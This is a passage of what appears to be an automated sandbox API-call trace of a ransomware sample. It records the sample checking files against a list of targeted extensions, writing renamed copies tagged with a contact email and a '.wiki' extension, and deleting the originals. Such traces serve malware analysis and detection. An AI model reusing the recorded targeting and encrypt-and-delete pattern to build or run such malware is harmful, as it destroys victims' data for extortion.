dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0045.869] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.869] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.869] ReadFile (in: hFile=0x18c, lpBuffer=0x3760058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x3760058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.873] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.874] ReadFile (in: hFile=0x18c, lpBuffer=0x37a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37a0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.880] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c4fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.880] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.880] ReadFile (in: hFile=0x18c, lpBuffer=0x37e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c4fc38, lpOverlapped=0x0 | out: lpBuffer=0x37e0058*, lpNumberOfBytesRead=0x2c4fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.897] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.897] WriteFile (in: hFile=0x18c, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2c4fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0046.216] SetEndOfFile (hFile=0x18c) returned 1 [0046.217] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40d5508 [0046.220] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.220] WriteFile (in: hFile=0x18c, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.222] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.222] WriteFile (in: hFile=0x18c, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.227] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.227] WriteFile (in: hFile=0x18c, lpBuffer=0x40d5508*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c4fc88, lpOverlapped=0x0 | out: lpBuffer=0x40d5508*, lpNumberOfBytesWritten=0x2c4fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.231] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40d5508 | out: hHeap=0x6c0000) returned 1 [0046.232] CloseHandle (hObject=0x18c) returned 1 [0048.984] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0048.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.984] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.984] lstrlenW (lpString=".doc") returned 4 [0048.984] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.984] lstrlenW (lpString=".docx") returned 5 [0048.985] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.985] lstrlenW (lpString=".pdf") returned 4 [0048.985] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.985] lstrlenW (lpString=".xls") returned 4 [0048.985] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.985] lstrlenW (lpString=".xlsx") returned 5 [0048.985] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.985] lstrlenW (lpString=".ppt") returned 4 [0048.985] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.985] lstrlenW (lpString=".zip") returned 4 [0048.985] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.985] lstrlenW (lpString=".rar") returned 4 [0048.985] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.985] lstrlenW (lpString=".bz2") returned 4 [0048.985] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.985] lstrlenW (lpString=".7z") returned 3 [0048.985] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.985] lstrlenW (lpString=".dbf") returned 4 [0048.985] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.985] lstrlenW (lpString=".1cd") returned 4 [0048.985] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.985] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.985] lstrlenW (lpString=".jpg") returned 4 [0048.985] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.986] lstrlenW (lpString=".doc") returned 4 [0048.986] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString=".docx") returned 5 [0048.986] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0048.986] lstrlenW (lpString=".pdf") returned 4 [0048.986] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString=".xls") returned 4 [0048.986] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString=".xlsx") returned 5 [0048.986] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0048.986] lstrlenW (lpString=".ppt") returned 4 [0048.986] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.986] lstrlenW (lpString=".zip") returned 4 [0048.986] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString=".rar") returned 4 [0048.986] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString=".bz2") returned 4 [0048.986] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.986] lstrlenW (lpString=".7z") returned 3 [0048.986] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.986] lstrlenW (lpString=".dbf") returned 4 [0048.986] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.986] lstrlenW (lpString=".1cd") returned 4 [0048.986] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.986] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0048.986] lstrlenW (lpString=".jpg") returned 4 [0048.986] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.987] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0048.987] lstrlenW (lpString="Proof.msi") returned 9 [0048.987] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0049.374] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=875520) returned 1 [0049.422] CloseHandle (hObject=0x1a4) returned 1 [0049.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0049.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0049.422] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.422] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.423] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0049.423] GetLastError () returned 0x0 [0049.423] ReadFile (in: hFile=0x1a4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0049.443] WriteFile (in: hFile=0x198, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0049.458] ReadFile (in: hFile=0x1a4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.459] WriteFile (in: hFile=0x198, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.459] SetEndOfFile (hFile=0x198) returned 1 [0049.459] CloseHandle (hObject=0x198) returned 1 [0049.465] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.466] SetEndOfFile (hFile=0x1a4) returned 1 [0049.591] CloseHandle (hObject=0x1a4) returned 1 [0049.591] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0049.591] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0049.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.591] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.591] lstrlenW (lpString=".doc") returned 4 [0049.591] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.591] lstrlenW (lpString=".docx") returned 5 [0049.591] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0049.591] lstrlenW (lpString=".pdf") returned 4 [0049.592] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.592] lstrlenW (lpString=".xls") returned 4 [0049.592] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.592] lstrlenW (lpString=".xlsx") returned 5 [0049.592] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0049.592] lstrlenW (lpString=".ppt") returned 4 [0049.592] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.592] lstrlenW (lpString=".zip") returned 4 [0049.592] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.592] lstrlenW (lpString=".rar") returned 4 [0049.592] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.592] lstrlenW (lpString=".bz2") returned 4 [0049.592] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.592] lstrlenW (lpString=".7z") returned 3 [0049.592] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.592] lstrlenW (lpString=".dbf") returned 4 [0049.592] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.592] lstrlenW (lpString=".1cd") returned 4 [0049.592] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.592] lstrlenW (lpString=".jpg") returned 4 [0049.592] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.592] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.592] lstrlenW (lpString=".doc") returned 4 [0049.592] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.592] lstrlenW (lpString=".docx") returned 5 [0049.592] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0049.592] lstrlenW (lpString=".pdf") returned 4 [0049.592] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.592] lstrlenW (lpString=".xls") returned 4 [0049.592] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.593] lstrlenW (lpString=".xlsx") returned 5 [0049.593] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0049.593] lstrlenW (lpString=".ppt") returned 4 [0049.593] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.593] lstrlenW (lpString=".zip") returned 4 [0049.593] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.593] lstrlenW (lpString=".rar") returned 4 [0049.593] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.593] lstrlenW (lpString=".bz2") returned 4 [0049.593] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.593] lstrlenW (lpString=".7z") returned 3 [0049.593] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.593] lstrlenW (lpString=".dbf") returned 4 [0049.593] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.593] lstrlenW (lpString=".1cd") returned 4 [0049.593] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.593] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0049.593] lstrlenW (lpString=".jpg") returned 4 [0049.593] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.594] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0049.594] lstrlenW (lpString="Proof.msi") returned 9 [0049.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0049.594] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=881152) returned 1 [0049.594] CloseHandle (hObject=0x1a4) returned 1 [0049.594] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 0x2020 [0049.594] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0049.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0049.594] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.594] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.594] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.604] GetLastError () returned 0x0 [0049.604] ReadFile (in: hFile=0x1a4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0xd7200, lpOverlapped=0x0) returned 1 [0049.620] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xd7210, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xd7210, lpOverlapped=0x0) returned 1 [0049.633] ReadFile (in: hFile=0x1a4, lpBuffer=0x3760020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.633] WriteFile (in: hFile=0x204, lpBuffer=0x3760020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3760020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.633] SetEndOfFile (hFile=0x204) returned 1 [0049.633] CloseHandle (hObject=0x204) returned 1 [0049.639] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.639] SetEndOfFile (hFile=0x1a4) returned 1 [0050.114] CloseHandle (hObject=0x1a4) returned 1 [0050.115] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0050.115] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.msi")) returned 1 [0050.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.115] lstrlenW (lpString=".doc") returned 4 [0050.115] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.115] lstrlenW (lpString=".docx") returned 5 [0050.115] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.115] lstrlenW (lpString=".pdf") returned 4 [0050.115] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.115] lstrlenW (lpString=".xls") returned 4 [0050.115] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.115] lstrlenW (lpString=".xlsx") returned 5 [0050.115] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.115] lstrlenW (lpString=".ppt") returned 4 [0050.115] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.115] lstrlenW (lpString=".zip") returned 4 [0050.115] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.115] lstrlenW (lpString=".rar") returned 4 [0050.115] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.116] lstrlenW (lpString=".bz2") returned 4 [0050.116] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.116] lstrlenW (lpString=".7z") returned 3 [0050.116] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.116] lstrlenW (lpString=".dbf") returned 4 [0050.116] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.116] lstrlenW (lpString=".1cd") returned 4 [0050.116] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.116] lstrlenW (lpString=".jpg") returned 4 [0050.116] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.116] lstrlenW (lpString=".doc") returned 4 [0050.116] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0050.116] lstrlenW (lpString=".docx") returned 5 [0050.116] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0050.116] lstrlenW (lpString=".pdf") returned 4 [0050.116] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0050.116] lstrlenW (lpString=".xls") returned 4 [0050.116] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0050.116] lstrlenW (lpString=".xlsx") returned 5 [0050.116] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0050.116] lstrlenW (lpString=".ppt") returned 4 [0050.116] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0050.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.116] lstrlenW (lpString=".zip") returned 4 [0050.116] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0050.116] lstrlenW (lpString=".rar") returned 4 [0050.116] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0050.116] lstrlenW (lpString=".bz2") returned 4 [0050.116] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0050.116] lstrlenW (lpString=".7z") returned 3 [0050.117] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0050.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned 81 [0050.117] lstrlenW (lpString=".dbf") returned 4 [0050.117] lstrcmpiW 